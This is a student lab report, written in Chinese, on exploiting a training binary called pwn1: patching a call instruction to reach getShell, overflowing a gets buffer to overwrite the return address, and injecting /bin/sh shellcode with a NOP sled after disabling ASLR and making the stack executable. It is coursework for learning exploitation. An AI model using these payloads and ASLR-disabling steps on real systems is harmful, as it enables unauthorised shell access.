Exp1 PC平台逆向破解 20154308张珊珊
Exp1 PC平台逆向破解1 20154308张珊珊
1.实验目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。实践目标即为想办法运行这个代码片段。
-
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
-
这几种思路,基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
本次实验主要内容为通过第一种方法达到实践目标。
2.直接修改程序机器指令,改变程序执行流程
- 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
- 学习目标:理解可执行文件与机器指令
- 进阶:掌握ELF文件格式,掌握动态技术
2.1 在pwn1文件所在目录打开终端,备份文件并更改文件名为学号,命令如下:
cp pwn1 20154308
2.2 利用反汇编命令查看该文件的机器指令,命令如下:
objdump -d 20154308
从图中可以看到主函数中调用位于8048491处的foo函数,对应的机器指令为e8 d7 ff ff ff,通过猜测可知e8为跳转之意。
本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令,CPU就会转而执行“EIP+d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba+d7ffffff=80484ba-0x29正好是8048491这个值。在这里进行计算时要注意在计算机内是采用小端模式即低字节优先。
main函数调用foo,对应机器指令为“e8d7ffffff”,那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。
47d-4ba得到补码,是c3ffffff。下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。
2.3 进入该文件的vi编辑模式,命令如下:
vim 20154308
2.4 按一下esc键,敲入如下命令,查看其十六进制格式
:%!xxd
2.5 键入如下命令,/表示查找
2.6 按一下esc键,通过方向键将光标移到修改处,按r表示修改,将d7修改为c3
2.7 键入如下命令,转回原格式,并存盘退出
:%!xxd -r
:wq
2.8 再利用反汇编命令查看该文件
objdump -d 20154308
可以看到,原先的机器指令e8d7ffffff已经改为e8c3ffffff,调用的也是我们所希望的getshell函数。
如此一来,本次实验的第一部分就结束了。
3.通过构造输入参数,造成BOF攻击,改变程序执行流
- 知识要求:堆栈结构,返回地址
- 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
- 进阶:掌握ELF文件格式,掌握动态技术
3.1 反汇编,了解程序基本功能
反汇编首先通过反汇编分析该文件,发现该可执行文件正常情况下是调用foo函数,而foo函数中使用了gets函数,该函数不会检查用户输入的长度,所以我们可以通过输入过长的参数,使超过部分溢出,覆盖返回地址,造成BOF攻击,改变程序执行流。
3.2 确认输入字符串哪几个字符回复该到返回地址
调试并运行该文件gdb 20154308
r
,接下来即要求输入参数,我们尝试性地输入1111111122222222333333334444444455555555
执行结果如下图所示,报错。
现在我们通过命令info r
查看各个寄存器内的值可以发现此时eip内的值为0x35353535
,即ASCII 5,也就是说我们输入的最后八个5中的某四个覆盖了返回地址。
为了进一步确定是哪四个,我们重新运行该文件r
,并输入1111111122222222333333334444444412345678
,此时可以发现eip的值为0x34333231
,即ASCII 1234,也就是说上述字符串中的1234最终覆盖到了堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。我们只要把这四个字符替换为getshell的内存地址,输给20154308,该文件就会运行getshell。
3.3 确认用什么值来覆盖返回地址
在之前我们知道getshell的内存地址是0804847d
,加上之前所学在计算机内采用小端优先存储,我们可以确定需要输入的字符串为11111111222222223333333344444444\x7d\x84\x04\x08
3.4 构造输入字符串
由于我们没法通过键盘输入指定的16进制,我们通过以下命令来完成此操作
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
并通过xxd
查看其十六进制格式
然后将input的输入,通过管道符|
,作为20154308的输入
(cat input; cat) | ./20154308
此时main函数成功地调用了getshell函数,此时我们就可以输入shell指令了,如图
4.注入shellcode并执行
4.1 准备一段shellcode
- shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
- 所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
4.2准备工作
修改设置
apt-get instal prelink
下载安装ececstack,否则接下来的命令无法执行
execstack -s 20154308
设置堆栈可执行
execstack -q 20154308
查询堆栈的文件是否可执行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化
more /proc/sys/kernel/randomize_va_space
4.3 构造要注入的payload
通过构造 anything+retaddr+nops+shellcode 来构造攻击buf。nop一为是了填充,二是作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
我们使用如下shellcode
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
并注入这段攻击buf (cat input_shellcode;cat) | ./pwn20154308
最后的\x4\x3\x2\x1
会覆盖到堆栈上返回地址的位置,下面我们要确定返回地址的位置填什么。
打开另一个终端,用gdb
调试pwn20154308
这个进程
ps -ef | grep pwn20154308
找到进程号gdb
启动gdb调试这个进程disassemble foo
通过设置断点,来查看注入buf的内存地址break *0x080484ae
- 再另一个终端里按下回车
- 回到原终端,
c
info r esp
查看寄存器地址
x/16x 0xffffd3ac
此时看到01020304
,继续缩小范围,直到找到90909090
,即我们的shellcode开始的地址,即0xffffd38c
找到相应地址后,我们使用c
quit
退出调试
01020304
的地址是0xffffd3ac
,就是返回地址的位置。shellcode就挨着,所以返回地址是 0xffffd3b0
,90909090
的地址是0xffffd38c
,所以shellcode的地址是0xffffd390
(吸取讲义上的教训)我们将之前的shellcode改为
perl -e 'print "A" x 32;print "\xb0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x90\xd3\xff\xff\x00"' > input_shellcode
前面的32个A用来填满buf,\xb0\xd3\xff\xff
为返回地址,剩下部分为shellcode
并注入这段buf (cat input_shellcode;cat) | ./pwn20154308
执行结果如下
攻击成功!
3.实验总结
- 什么是漏洞?漏洞有什么危害?
- 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
- 漏洞的存在,很容易导致黑客的侵入及病毒的驻留,会导致数据丢失和篡改、隐私泄露乃至金钱上的损失,如:网站因漏洞被入侵,网站用户数据将会泄露、网站功能可能遭到破坏而中止乃至服务器本身被入侵者控制。
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
汇编指令 | 机器码 |
---|---|
NOP | 90 |
JNE | 75 |
JE | 74 |
JMP | eb |
CMP | 39 |
- 在计算补码的部分稍微有点吃力,需要在课下复习有关补码知识。
- 有些指令的含义还不是很清楚,虽然不影响实验的思路,但是会导致实验的不顺畅,需要在课下了解掌握一些基本指令。
- 对于堆栈存储方式的学习需要加强。
- 总之,初次将以前学过的知识以及新知识结合起来并实际运用,对我来说还是有点困难,但是这也激发了我的兴趣,会在课下更加深入地思考有关本次实验的原理。